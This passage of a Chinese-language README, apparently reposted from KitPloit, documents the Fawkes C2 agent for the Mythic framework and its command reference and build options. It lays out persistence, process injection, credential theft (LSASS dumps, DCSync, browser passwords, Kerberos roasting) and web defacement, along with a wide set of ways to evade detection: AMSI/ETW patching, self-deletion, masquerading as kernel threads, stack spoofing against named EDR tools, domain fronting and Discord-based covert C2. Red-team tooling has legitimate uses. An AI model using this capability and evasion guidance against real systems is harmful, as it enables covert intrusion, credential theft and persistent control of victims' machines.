wmi | `wmi -action <execute\|query\|process-list\|os-info\|upload\|exec-staged\|check> [-target <host>] [-command <cmd>] [-query <wql>]` | **(仅Windows)** 通过COM API执行WMI查询、进程创建、文件上传和暂存执行。upload:通过certutil/PowerShell暂存传输文件。exec-staged:上传然后执行并自动清理。`check`验证WMI先决条件(RPC 135、WMI连接)。MITRE T1047, T1570。
wmi-persist | `wmi-persist -action <install\|remove\|list> -name <id> -trigger <logon\|startup\|interval\|process> -command <exe> [-consumer_type <command\|script>]` | **(仅Windows)** 通过COM API实现WMI事件订阅持久化。支持CommandLine和ActiveScript (VBScript/JScript) 使用者。无文件,重启后持续存在。MITRE T1546.003。
wlan-profiles | `wlan-profiles [-name <SSID>]` | 恢复已保存的WiFi网络配置文件和凭据。Windows:WLAN API,Linux:NetworkManager/wpa_supplicant/iwd,macOS:钥匙串。跨平台 (T1555)。
write-file | `write-file [-action write\|deface] -path <file> -content <text> [-base64 true] [-append true] [-mkdir true] [-confirm DEFACE]` | 将内容写入文件或篡改网页。`write`:创建/覆盖/追加(默认)。`deface`:用篡改消息替换网页内容 (T1491, 安全门)。跨平台 (T1105, T1491)。
write-memory | `write-memory <dll_name> <function_name> <start_index> <hex_bytes>` | **(仅Windows)** 将字节写入DLL函数地址。
xattr | `xattr -action <list\|get\|set\|delete> -path <file> [-name <attr>] [-value <data>] [-hex true]` | **(仅Linux/macOS)** 管理扩展文件属性——列出、获取、设置、删除。Unix中对Windows ADS的补充,用于数据隐藏 (T1564.004)。## Forge 命令增强

Fawkes 支持 [Mythic Forge](https://github.com/MythicAgents/forge) 命令增强,可动态扩展代理的功能,引入外部工具集合。当 Forge 与 Mythic 一起安装时,Fawkes 回调的 Mythic UI 中会自动出现额外命令,无需重新构建代理。

**支持的工具集合:**

| 集合 | 类型 | 执行方式 | 示例 |
|------------|------|-------------|----------|
| [SharpCollection](https://github.com/Flangvik/SharpCollection) | .NET 程序集 | `inline-assembly` | Seatbelt, SharpUp, Rubeus, Certify, SharpHound, SharpDPAPI |
| [Sliver Armory](https://github.com/MythicAgents/forge) | BOF/COFF 文件 | `inline-execute` | SA-whoami, SA-adcs-enum, SA-ldapsearch, SA-nanodump |

### 设置(全新安装)

**第 1 步:安装 Forge**```bash
cd /path/to/Mythic
sudo ./mythic-cli install github https://github.com/MythicAgents/forge

第二步:将 Fawkes 添加到 Forge 的 payload 类型支持中

编辑 InstalledServices/forge/payload_type_support.json 并将 Fawkes 条目添加到 JSON 数组中:```json { "agent": "fawkes", "bof_command": "inline-execute", "bof_file_parameter_name": "bof_file", "bof_argument_array_parameter_name": "coff_arguments", "bof_entrypoint_parameter_name": "function_name", "inline_assembly_command": "inline-assembly", "inline_assembly_file_parameter_name": "assembly_file", "inline_assembly_argument_parameter_name": "assembly_arguments", "execute_assembly_command": "", "execute_assembly_file_parameter_name": "", "execute_assembly_argument_parameter_name": "", "assembly_default_execution_method": "inline_assembly" }

root@kitploit:~
这会将 Forge 的通用参数接口映射到 Fawkes 的特定命令名称和参数名称。字段映射如下:
- `bof_command` → Fawkes 的 `inline-execute` 命令(BOF/COFF 执行)
- `inline_assembly_command` → Fawkes 的 `inline-assembly` 命令(.NET 程序集执行)
- `execute_assembly_command` → 空(Fawkes 对所有 .NET 执行都使用 inline-assembly)
- 参数名称必须与 Fawkes 的 agentfunctions 在 "Forge" 参数组中定义的完全一致

**第三步:重建并重启**```bash
sudo ./mythic-cli build forge
sudo ./mythic-cli restart forge
sudo ./mythic-cli restart fawkes

步骤 4:注册工具源

打开 Mythic UI,使用 forge_register 命令(可在任何回调上使用)注册工具源。常见源包括:

注册源时,运行 forge_register,并将 commandName 设置为纯源名称(例如 Rubeus,而不是 forge_net_Rubeus),remove 设置为 false。

注册后,Forge 会下载工具二进制文件并创建增强命令(例如 forge_net_Rubeus、forge_bof_nanodump),这些命令会出现在回调的命令列表中。

步骤 5:验证

现有回调会自动看到 Forge 命令——无需新 Payload。通过运行已注册的工具进行测试:

  1. 先运行 autopatch 或 start-clr(针对 .NET 工具进行 AMSI 修补)
  2. 选择一个 Forge 命令(例如 forge_net_Seatbelt)
  3. 输入参数(例如 -group=system)
  4. 执行——Forge 会将命令转换为带有嵌入式工具二进制文件的 inline-assembly

使用技巧

  • 对于 .NET 工具(SharpCollection),先运行 start-clr 并开启 autopatch 来初始化 CLR 并修补 AMSI——否则 Windows Defender 可能会阻止程序集执行
  • 对于 BOF 工具(Sliver Armory),确保 BOF 已针对 x64 编译
  • 无需特殊构建参数——Fawkes 的 inline-execute 和 inline-assembly 命令已内置 Forge 支持,通过“Forge”参数组实现
  • Forge 命令可在现有回调上工作,无需重建 Agent
  • 通过 API 发出 Forge 命令时,请在 createTask 变更中包含 payload_type: "forge"——否则 Mythic 只会在回调自身的 Payload 类型中搜索

注入技术

PoolParty 注入

Opus 注入

变体技术目标Go Shellcode
1Ctrl-C 处理程序链仅控制台进程否
4PEB KernelCallbackTable仅 GUI 进程是

详细变体描述请参见注入技术详情。

构建选项

DLL 导出方法

在shared(DLL)或windows-shellcode模式下构建时,dll_exports 构建参数控制包含哪些 DLL 导出:

具有完整导出的执行方法:

二进制膨胀

Fawkes 支持在构建时可选的二进制膨胀。这会在编译后的 Agent 中嵌入一个重复字节块,可用于增加文件大小或降低熵值。

两个构建参数控制此功能:

  • inflate_bytes - 要嵌入的十六进制字节(例如 0x90 或 0x41,0x42)
  • inflate_count - 重复字节模式的次数

字节模式重复 inflate_count 次,因此总增加大小为 length(byte_pattern) * inflate_count。

快速参考大小:

未配置膨胀时,二进制文件仅增加 1 字节开销。

PE 资源嵌入(仅 Windows)

Windows PE 二进制文件包含元数据资源——版本信息、图标和 UAC 清单——这些在文件属性、任务管理器和资源管理器中可见。默认的 Go 二进制文件没有任何这些元数据,这对安全工具和分析师来说是一个强烈的检测信号。

Fawkes 支持在构建时嵌入 PE 资源,以模拟合法的 Windows 二进制文件:

构建参数:

预设(10 个常见的带有真实版本信息的 Windows 二进制文件): notepad, svchost, cmd, explorer, msiexec, dllhost, rundll32, conhost, taskhostw, RuntimeBroker

单独字段会覆盖预设值。未设置 PE 资源参数时,二进制文件保持默认 Go 输出不变。

OPSEC 功能

工件跟踪

Fawkes 自动为与 OPSEC 相关的命令向 Mythic 注册工件。工件出现在 Mythic UI 的 Artifacts 选项卡下,让操作员清晰了解在交战中产生的所有取证指标。

跟踪的工件类型:

只读命令(ls, ps, cat, env 等)不会生成工件。

凭据库集成

凭据收集命令会自动将发现结果报告给 Mythic 的 Credentials 存储,使其可在 Mythic UI 中搜索和导出。

键盘记录跟踪

keylog 命令与 Mythic 的 Keylogs 功能集成。当通过 stop 或 dump 返回按键时,它们会按窗口标题自动解析,并带有用户归属发送到 Mythic 的键盘记录跟踪器。按键记录可在 Mythic UI 中按窗口标题、用户或按键内容搜索。

令牌跟踪

make-token 和 steal-token 命令将令牌注册到 Mythic 的 Callback Tokens 跟踪器。这提供了每个回调关联令牌的可视性,包括模拟的用户身份和源进程。rev2self 命令在取消模拟时自动移除跟踪的令牌。

TLS 证书验证

控制 Agent 在与 C2 服务器通信时如何验证 HTTPS 证书。通过构建时的 tls_verify 参数配置:

模式描述
none跳过所有 TLS 验证(默认,向后兼容)
system-ca根据操作系统信任存储验证证书
pinned:<sha256>固定到特定证书指纹(SHA-256 十六进制)。如果服务器证书不匹配,Agent 拒绝连接。

证书固定可防止即使在攻击者控制受信任 CA 的情况下,Agent 流量被 MITM 拦截。

TLS 指纹欺骗 (JA3)

Go 的标准 TLS 栈会产生独特的 JA3 哈希,网络安全工具可将其识别为非浏览器流量。tls_fingerprint 构建参数使用 uTLS 来欺骗 TLS ClientHello,产生与浏览器匹配的 JA3 指纹。

双向 TLS (mTLS) 客户端证书认证

为 HTTP C2 配置文件添加客户端证书认证。配置后,Agent 在 TLS 握手期间提供客户端证书,使 C2 服务器能够验证 Agent 身份。这可以防止被动 HTTPS 拦截和代理 MITM 攻击。

参数描述
mtls_certPEM 编码的客户端证书
mtls_keyPEM 编码的客户端私钥

证书/密钥在构建时进行 base64 编码,如果启用了字符串混淆,则进行 XOR 加密,并在运行时存储在 AES-256-GCM 配置库中。与现有的 TLS 验证模式和 JA3 指纹欺骗结合使用。

备用 C2 URL

多个 C2 回调 URL,支持自动故障转移。如果主回调主机不可达,Agent 会在应用退避算法之前透明地循环备用 URL。

参数描述
fallback_hosts逗号分隔的备用 C2 主机(例如 http://backup1.example.com,https://backup2.example.com)

端口和加密与主 URL 相同。记住最后一个成功的 URL。与配置库和 XOR 混淆一起工作。

环境密钥 / 护栏

防止 Agent 在未经授权的系统上执行。在构建时配置——如果检查失败,Agent 在做出任何网络联系前静默退出。无日志记录,无工件,无 C2 流量。

所有模式都不区分大小写,并锚定以匹配完整值。多个密钥可组合——所有都必须通过。无效的正则模式会导致失败关闭(Agent 退出)。留空以跳过检查。

环境密钥派生 (env_key_derive): 设置后,所有敏感的 C2 配置(回调主机、UUID、加密密钥、URI、代理设置等)在构建时使用从目标环境派生的密钥进行 AES-256-GCM 加密。运行时,Agent 从自身环境重新派生密钥——如果不匹配(错误的主机/域/用户),解密失败,Agent 静默退出。这比正则匹配更强,因为配置值以任何形式都不会出现在二进制文件中。需要相应的 env_key_* 值包含确切的目标值(而非正则模式)。与 obfuscate_strings 叠加(先应用 XOR 层,然后是 AES-GCM)。

C2 字符串混淆

启用 obfuscate_strings 构建参数可在构建时使用每个构建随机的 32 字节密钥对所有 C2 配置字符串(回调主机、URI、用户代理、加密密钥、UUID)进行 XOR 编码。防止通过 strings 从二进制文件中提取简单 IOC。运行时解码。跨平台。

子进程 BlockDLLs

启用 block_dlls 构建参数可将 PROCESS_CREATION_MITIGATION_POLICY_BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON 应用于 Agent 生成的所有子进程(run、powershell 命令)。防止 EDR 将监控 DLL 注入到生成的进程中。使用 STARTUPINFOEX 搭配 UpdateProcThreadAttribute。仅 Windows。

子进程父 PID 欺骗

在运行时通过 config -action set -key default_ppid -value <PID> 设置,使所有子进程(run、powershell)看起来像是合法进程的子进程(例如 explorer.exe)。通过 EDR 破坏父-子进程关系检测。与 BlockDLLs 同时激活时组合使用。使用 UpdateProcThreadAttribute(PROC_THREAD_ATTRIBUTE_PARENT_PROCESS)。使用 config -action set -key default_ppid -value 0 禁用。仅 Windows (T1134.004)。

自动修补 ETW/AMSI

启用 auto_patch 构建参数可在 Agent 启动时自动修补 EtwEventWrite 和 AmsiScanBuffer。这可以在任何 Agent 活动发生之前防止基于 ETW 的检测和 AMSI 扫描——无需手动命令。仅 Windows(在 Linux/macOS 上无效)。

自删除

通过 self_delete 构建参数在启动时启用自动二进制文件删除。Agent 开始运行后,会从磁盘上移除自身文件——消除主要取证工件。

  • Linux/macOS:使用 os.Remove()——运行中的进程通过内存中的 inode 映射继续执行。文件立即从磁盘消失。
  • Windows:使用 NTFS 流重命名技术——重命名默认的 :$DATA 流,然后删除文件条目。不生成子进程。

二进制文件在环境密钥检查通过之后、网络活动开始之前被删除。

进程伪装 (Linux)

设置 masquerade_name 构建参数可更改 Linux 上 Agent 的进程名称。使用 prctl(PR_SET_NAME) 修改 /proc/self/comm,由 ps、top 和 htop 显示。最大 15 个字符。

有用的名称:[kworker/0:1]、[migration/0]、sshd、apache2、[rcu_preempt]

结合自删除,Agent 看起来像一个合法的内核线程或服务,磁盘上没有文件。

睡眠内存保护页

启用 sleep_guard_pages(需要 sleep_mask=true)可在睡眠周期中对加密的库内存应用 VirtualProtect(PAGE_NOACCESS)。睡眠掩码加密敏感数据(AES-256-GCM)并将原始数据清零后,保护页将库移动到专用的 VirtualAlloc 内存并标记为 NO_ACCESS。EDR 内存扫描器、ReadProcessMemory、WinDbg 和 Process Hacker 在尝试读取库时会收到 STATUS_ACCESS_VIOLATION。唤醒后,页面在解密前恢复为 PAGE_READWRITE。在 Linux/macOS 上,保护页使用 mmap(MAP_ANON) + mprotect(PROT_NONE)——探测会触发 SIGSEGV。

睡眠库密钥通过 HKDF-SHA256 绑定硬件:随机种子与机器 CPU 品牌字符串和 UUID 的 SHA-256 哈希混合。如果有人从内存转储中提取库 blob 并尝试在不同硬件上解密,密钥派生会产生不同的密钥。

调用栈欺骗

启用 stack_spoof 可欺骗睡眠线程的调用栈,击败 EDR 线程扫描工具(Hunt-Sleeping-Beacons、Moneta、CrowdStrike)。

  • Windows(需要 indirect_syscalls=true):专用原生线程执行 NtDelayExecution,带有指向 kernel32!SleepEx、kernel32!BaseThreadInitThunk 和 ntdll!RtlUserThreadStart 的虚假返回地址——EDR 期望的标准线程初始化链。
  • Linux amd64:通过 clone(CLONE_VM) 创建子进程,在匿名 mmap 内存中拥有自己的 291 字节机器码桩。子进程通过原始系统调用直接调用 nanosleep——睡眠线程的栈上不出现 Go 运行时或 Agent 代码地址。子进程中的信号处理程序重置为 SIG_DFL,PR_SET_PDEATHSIG 确保父进程退出时子进程死亡。
  • macOS arm64:使用 140 字节 ARM64 机器码桩在匿名 mmap 内存中生成原生 pthread。线程使用 __ulock_wait/__ulock_wake 与 Go 运行时同步,并通过原始系统调用调用 nanosleep——睡眠线程的栈仅显示匿名桩和内核帧,没有 Go 运行时或 Agent 代码。

自定义 HTTP 头

Mythic HTTP C2 配置文件定义的所有头部都应用于每个请求。除了 User-Agent(始终支持),操作员可以添加诸如 Accept-Language、Referer、Cookie 或 X-Forwarded-For 等头部,以将 C2 流量混入合法 Web 流量模式中。

域名前置

设置 host_header 构建参数可覆盖 HTTP Host 头。这实现了域名前置:通过 CDN(例如 CloudFront、Azure CDN)路由流量,同时 Host 头指向您的实际 C2 域名。对网络防御者来说,流量看起来是流向 CDN 的 IP 地址。

代理支持

设置 proxy_url 构建参数可通过 HTTP 或 SOCKS 代理路由 Agent 流量。适用于在具有强制代理服务器的企业网络中操作。Examples: http://proxy.corp.local:8080, socks5://127.0.0.1:1080

已验证代理: 设置 proxy_user 和 proxy_pass 以进行基本认证。对于需要 Windows 域认证的企业代理,还需设置 proxy_domain(例如 CORP)以启用 NTLM 认证。在建立 CONNECT 隧道期间,NTLM 握手(Type1→Type2→Type3)会自动执行。

系统代理检测(Windows): 当未设置 proxy_url 时,代理会查询 WinHTTP 以获取系统代理设置,包括 PAC/WPAD 自动检测。

构建路径剥离(-trimpath)

所有构建均使用 Go 的 -trimpath 标志来从编译后的二进制文件中剥离本地文件系统路径。没有这个标志,像 /home/user/project/... 和 /go/pkg/mod/... 这样的路径会通过 panic 跟踪和运行时元数据泄露到二进制文件中。结合 -s -w(符号剥离)和空的 -buildid,这最大程度地减少了二进制文件中的取证信息。Garble 构建已经处理了这一点;-trimpath 覆盖非 Garble 构建。

YARA 构建后扫描

编译后,构建的有效载荷会自动针对一组模拟常见防御者检测模式的 YARA 规则进行扫描。结果会在 Mythic 构建输出中显示为一个信息步骤——扫描绝不会导致构建失败。

检测的类别:

  • Go 二进制文件识别和符号泄露
  • 泄露的构建/开发路径
  • Mythic/C2 框架字符串指示器
  • Windows 注入 API 名称
  • 凭据访问 API 名称
  • 防御规避 API 模式
  • 持久化机制字符串
  • 明文 C2 配置

这有助于操作员了解检测风险,并在部署前选择适当的操作安全选项(garble、obfuscate_strings 等)。

支持的 C2 配置文件

HTTP 配置文件

HTTP 配置文件通过基本的非动态配置文件回连到 Mythic 服务器。这是默认的出站配置文件——代理通过 HTTP/HTTPS 轮询 Mythic 以获取任务。

可塑特性:

  • URI 随机化: get_uri 和 post_uri 支持令牌,这些令牌在每个请求时解析:
    • {rand:N} — N 个随机十六进制字符(例如 /api/{rand:8} → /api/a3f82b1c)
    • {int:M-N} — 范围内的随机整数(例如 /v{int:1-3}/status → /v2/status)
  • Content-Type 轮换: 将 content_types 构建参数设置为逗号分隔的列表(例如 application/json,text/plain,application/x-www-form-urlencoded)。代理以轮询方式循环使用它们。默认值:application/x-www-form-urlencoded。
  • User-Agent 轮换: 将 user_agent_pool 构建参数设置为换行符分隔的 User-Agent 字符串列表。代理在每个请求时轮换使用它们,从而消除静态 UA 指纹。默认值:单个 Chrome 134 UA。
  • 指数退避: 在连续 C2 失败时,代理会将休眠间隔加倍(上限为 5 分钟)。成功联系后恢复为正常间隔。

TCP P2P 配置文件

TCP 配置文件支持点对点 (P2P) 代理链接,用于内部横向移动。子代理在 TCP 端口或 Windows 命名管道上监听,并等待父代理通过 link 命令连接。所有任务和响应都通过父代理的出站通道 (HTTP) 路由,因此子代理从不直接联系 Mythic。

架构:``` Mythic Server ←──HTTP──→ Egress Agent (HTTP profile) │ ├──TCP──→ Child Agent A (TCP profile, port 7777) ├──TCP──→ Child Agent B (TCP profile, port 8888) └──SMB──→ Child Agent C (named pipe, \host\pipe\msrpc-f9a1)

root@kitploit:~
**构建参数:**

| 参数 | 描述 | 默认值 |
|-----------|-------------|---------|
| `tcp_bind_address` | 子节点监听的地址和端口(例如 `0.0.0.0:7777`) | _(空 = HTTP 模式)_ |
| `namedpipe_bind_name` | 子节点监听的命名管道名称(例如 `msrpc-f9a1`)。仅 Windows。 | _(空)_ |

当设置了 `tcp_bind_address` 或 `namedpipe_bind_name` 时,代理会以 P2P 监听模式启动,而非 HTTP 出口模式。

**使用流程(TCP):**

1. 构建一个 **子代理**,使用 TCP C2 配置文件并设置 `tcp_bind_address`(例如 `0.0.0.0:7777`)
2. 将子代理部署到内部主机(无需互联网访问)
3. 从 **出口代理**(HTTP 配置文件)运行:`link -host <child_ip> -port 7777`
4. Mythic 为子代理创建一个新的回调——所有任务都通过出口代理流动
5. 断开连接:`unlink -connection_id <uuid>`

**使用流程(命名管道):**

1. 构建一个 **子代理**,使用 TCP C2 配置文件并设置 `namedpipe_bind_name`(例如 `msrpc-f9a1`)
2. 将子代理部署到内部 Windows 主机
3. 从 **出口代理** 运行:`link -connection_type namedpipe -host <child_ip> -pipe_name msrpc-f9a1`
4. 连接使用 SMB(端口 445),与正常的 Windows 文件共享流量混合
5. 断开连接:`unlink -connection_id <uuid>`

**加密:** AES-256-CBC 搭配 HMAC-SHA256(与 HTTP 配置文件相同)。线路协议使用 4 字节长度前缀帧格式,通过 TCP 或命名管道传输。

**重新连接支持:** 如果父代理断开连接(例如通过 `unlink` 或父代理死亡),子代理会缓存其签入数据并等待新的父连接。当新的出口代理运行 `link` 时,子代理会自动重新注册到 Mythic 作为新的回调。无需手动干预。

**多个子代理:** 一个出口代理可以同时连接到多个 TCP 和命名管道子代理。每个子代理独立运行,拥有自己的回调。

**OPSEC 说明:** 命名管道连接使用 SMB(端口 445),与原始 TCP 相比,生成的网络层面指标更少,但如果进行了配置,Sysmon 事件 ID 17/18(PipeEvent)和来自 Microsoft-Windows-SMBClient 的 ETW 事件将被记录。

### Discord C2 配置文件

Discord 配置文件使用 Discord 机器人和频道作为隐蔽的 C2 传输通道。代理通过向 Discord 频道发布加密消息与 Mythic 通信,服务器端的机器人通过 gRPC 推送 C2 将这些消息中继到 Mythic。

**架构:**```
Fawkes Agent ──Discord REST API──→ Discord Channel ←──Bot──→ Discord C2 Server ──gRPC──→ Mythic

工作原理:

  1. 签到: Agent 向 Discord 频道发送加密的签到消息。服务端机器人捕获该消息,转发给 Mythic,并将响应发布回频道。Agent 持续轮询直至找到响应。
  2. 任务推送: Agent 通过 Discord 发送 get_tasking 请求。使用推送 C2 时,任务也可能独立推送到频道。Agent 在每个轮询周期收集所有匹配的消息。
  3. 响应: Agent 将任务输出发布到频道。较大的响应(超过 1950 个字符)会作为文件附件发送。

构建参数:

加密: AES-256-CBC + HMAC-SHA256(与 HTTP 配置文件相同的方案)。敏感配置(机器人令牌、频道 ID)在初始化后使用 AES-256-GCM 保险库加密存储于内存中。

推送 C2 支持: Discord C2 服务器使用 Mythic 的推送 C2(持久 gRPC 流)。任务可能在轮询周期之间异步到达。Agent 实现:

  • 预轮询扫描,以捕获之前周期中的推送任务
  • 追赶轮询(首次匹配后额外进行 3 次轮询)以实现快速任务交付
  • 在临时故障时重试 PostResponse

速率限制: 遵守 Discord API 速率限制,自动重试并采用指数退避(最多 5 次重试)。User-Agent 硬编码为 DiscordBot (https://github.com, 1.0),符合 Discord API 要求。

设置前提条件:

  1. 在 discord.com/developers 创建一个 Discord 机器人
  2. 启用机器人的消息内容意图(Message Content intent)
  3. 将机器人添加到服务器,并赋予权限:发送消息、读取消息历史、附加文件、管理消息
  4. 记下机器人令牌和目标频道 ID
  5. 在 Discord C2 服务器容器的 config.json 中配置相同的机器人令牌和频道 ID

已知限制:

  • 当推送 C2 流处于活动状态时,Mythic 中的“最后签到”显示为“流式传输中”(推送 C2 模式固有特性)。Agent 不活跃约 180 秒后,Mythic 会显示真实的最后活动时间戳。
  • 在高频任务下,Discord API 速率限制可能导致延迟
  • 机器人令牌是关键的 OPSEC 资产——泄露会暴露 C2 通道
  • 消息大小限制:内联约 1950 个字符,更大负载使用文件附件

致谢

我对 Mythic Agent 的所有了解都来自 Mythic 文档,或从 Merlin 和 Freyja Agent 中借鉴代码和思路。

之后,我一直在向 Claude 提供 PoC 链接并索要酷炫的功能。听起来很疯狂,对吧?

技术与参考

  • 无线程注入(Threadless Injection) - CCob 的 ThreadlessInject(原始 C# 实现)和 dreamkinn 的 go-ThreadlessInject(Go 移植版)
  • sRDI(Shellcode 反射式 DLL 注入) - Merlin 基于 Go 的 sRDI 实现,最初基于 Nick Landers(monoxgas)的 sRDI
  • PoolParty 注入 - SafeBreach Labs 的 PoolParty 研究(原始 C++ PoC) - 变体详情
  • Opus 注入 - 基于回调的注入技术 - 变体详情
  • 凤凰图标来自 OpenClipart
下载工具
源类型提供内容
Rubeus.NET 程序集Kerberos 攻击(kerberoasting、票据伪造、委派)
Seatbelt.NET 程序集主机安全调查(权限、凭据、配置)
Certify.NET 程序集AD 证书服务枚举与滥用
SharpHound.NET 程序集BloodHound 数据收集
SharpUp.NET 程序集本地权限提升检查
SharpView.NET 程序集Active Directory 枚举(PowerView 移植版)
nanodumpBOF通过 MiniDumpWriteDump 进行 LSASS 内存转储
credmanBOFWindows 凭据管理器收集
变体技术触发器Go Shellcode
1Worker Factory 启动例程覆盖新工作线程创建否
2TP_WORK 插入任务队列处理是
3TP_WAIT 插入事件信号是
4TP_IO 插入文件 I/O 完成是
5TP_ALPC 插入ALPC 端口消息传递是
6TP_JOB 插入作业对象分配是
7TP_DIRECT 插入I/O 完成端口是
8TP_TIMER 插入定时器到期是
设置导出使用场景
standard(默认)Run, Fire, VoidFuncsRDI shellcode、rundll32、通用加载器
fullStandard + DllRegisterServer, DllUnregisterServer, ServiceMain, DllGetClassObject, DllCanUnloadNowregsvr32、svchost 服务、COM 劫持
导出执行MITRE
DllRegisterServerregsvr32 /s fawkes.dllT1218.010
DllUnregisterServerregsvr32 /u /s fawkes.dllT1218.010
ServiceMainsvchost.exe DLL 服务(仅 Windows)T1543.003
DllGetClassObject + DllCanUnloadNowCOM 劫持 InprocServer32T1546.015
inflate_count单字节(例如 0x90)双字节(例如 0x41,0x42)
1,0001 KB2 KB
10,00010 KB20 KB
100,000100 KB200 KB
1,000,0001 MB2 MB
3,000,0003 MB6 MB
10,000,00010 MB20 MB
参数类型描述
pe_preset选择快速模拟预设(notepad、svchost、cmd、explorer 等)
pe_company字符串CompanyName(例如 "Microsoft Corporation")
pe_description字符串FileDescription——在任务管理器中可见
pe_product字符串ProductName
pe_version字符串文件/产品版本(例如 "10.0.19041.1")
pe_copyright字符串LegalCopyright
pe_original_filename字符串OriginalFilename——对取证工具可见
pe_icon文件自定义 .ico 或 .png 图标文件
pe_manifest选择UAC 级别:asInvoker、highestAvailable、requireAdministrator
类型命令
进程创建run, powershell, spawn, argue
API 调用net-enum, net-user, service, wmi, schtask, procdump, hashdump, eventlog, ntdll-unhook, syscalls, firewall, dcom, vss (create/delete), psexec
进程终止kill
进程注入vanilla-injection, apc-injection, threadless-inject, poolparty-injection, opus-injection, module-stomp, thread-hijack
文件写入upload, cp, mv
文件创建mkdir
文件删除rm
文件修改timestomp
注册表写入reg (write/delete), remote-reg (set/delete), persist (registry, com-hijack, screensaver methods), uac-bypass, defender (add/remove-exclusion)
注册表保存reg (save/creds)
远程注册表remote-reg (query/enum/set/delete via WinReg RPC)
远程服务remote-service (list/query/create/start/stop/delete/modify-path/trigger/dll-sideload via SVCCTL RPC)
登录make-token
令牌窃取steal-token, getsystem
命令凭据类型报告内容
hashdumphashSAM NTLM 哈希(Windows),来自现场 LSASS 遍历的 MSV1_0 NT/LM/SHA 哈希(Windows, insitu-full),.kirbi 格式的 Kerberos TGT 和服务票据(Windows, tickets),/etc/shadow 哈希(Linux),PBKDF2 哈希(macOS)
kerberoasthash用于离线破解的 TGS 票据
asrep-roasthashAS-REP 哈希
dcsynchash通过 DRSGetNCChanges 获取的 NTLM + AES 密钥
lsa-secrets明文/哈希/密钥服务密码、缓存的凭据、DPAPI 密钥
laps明文LAPS v1 & v2 密码
gpp-password明文来自 SYSVOL 的 GPP 加密密码
browser明文Chrome/Edge/Firefox 保存的密码(所有平台)、cookies(所有平台)、历史记录、自动填充、书签
dpapi明文/哈希DPAPI 保护的秘密
credman明文凭据管理器条目(转储操作时)
make-token明文用于令牌创建的凭据
cred-harvest哈希/明文/令牌影子哈希、云环境变量、敏感环境变量、M365 OAuth/JWT 令牌、通过 CDP 的实时浏览器 cookies/存储
credential-prompt明文对话框捕获的凭据(macOS/Windows/Linux)
指纹描述
chromeChrome/Chromium(默认)——最常见的浏览器,最适合混入
firefoxFirefox
safariSafari
edgeMicrosoft Edge
rotate每次连接随机选择 Chrome/Firefox/Safari/Edge(防止 JA3 关联)
random完全随机化的指纹(不与浏览器匹配)
go无欺骗——使用 Go 的默认 TLS 栈
参数类型描述
env_key_hostname正则表达式主机名必须匹配(例如 WORKSTATION-\d+ 或 .*\.contoso\.com)
env_key_domain正则表达式域必须匹配(例如 CONTOSO 或 .*\.local)
env_key_username正则表达式用户名必须匹配(例如 admin.* 或 svc_.*)
env_key_process字符串必须正在运行的进程名称(例如 outlook.exe)
env_key_cpuid正则表达式CPU 品牌字符串必须匹配(例如 .*Intel.*i7-12700.* 或 .*AMD.*5950X.*)。阻止在执行 CPU 型号不同的沙箱中执行。
env_key_derive选择使用从目标主机属性派生的密钥加密 C2 配置。选项:hostname, domain, username, hostname+domain, hostname+domain+username。错误主机 = AES 解密失败 = 静默退出。比正则匹配更强——配置值在二进制文件中永远不出现。
  • TLS 指纹: 伪造浏览器 JA3 指纹(chrome、firefox、safari、edge、rotate、random)。
  • HTTP/2 多路复用: 通过 HTTPS 自动协商 h2。在单个连接上多路复用请求,匹配浏览器行为。透明 h1 回退。
  • 前向保密: 每 N 次签到(key_rotation_interval)进行 ECDH X25519 密钥轮换。通过 HKDF-SHA256 派生新的 AES-256 密钥,并归零旧密钥。限制密钥泄露的爆炸半径。
  • 重放保护: 每条消息中的单调递增序列号(在加密信封内)。防止捕获的请求/响应重放。
  • 双向 TLS (mTLS): 客户端证书认证防止被动拦截和代理中间人攻击 (T1573.002)。
  • 域名前置: 设置 host_header 以覆盖 HTTP Host 头。
  • 自动故障转移: 配置 fallback_hosts 以实现弹性 C2。
  • 参数类型描述默认值
    discord_token字符串用于 API 认证的 Discord 机器人令牌(必填)
    bot_channel字符串用于消息交换的 Discord 频道 ID(必填)
    callback_interval字符串任务轮询间隔(秒)10
    callback_jitter字符串抖动百分比(0-100)23
    message_checks字符串每次交换的最大轮询尝试次数20
    time_between_checks字符串轮询尝试之间的间隔(秒)5
    AESPSK字符串预共享的 AES-256 加密密钥(自动生成)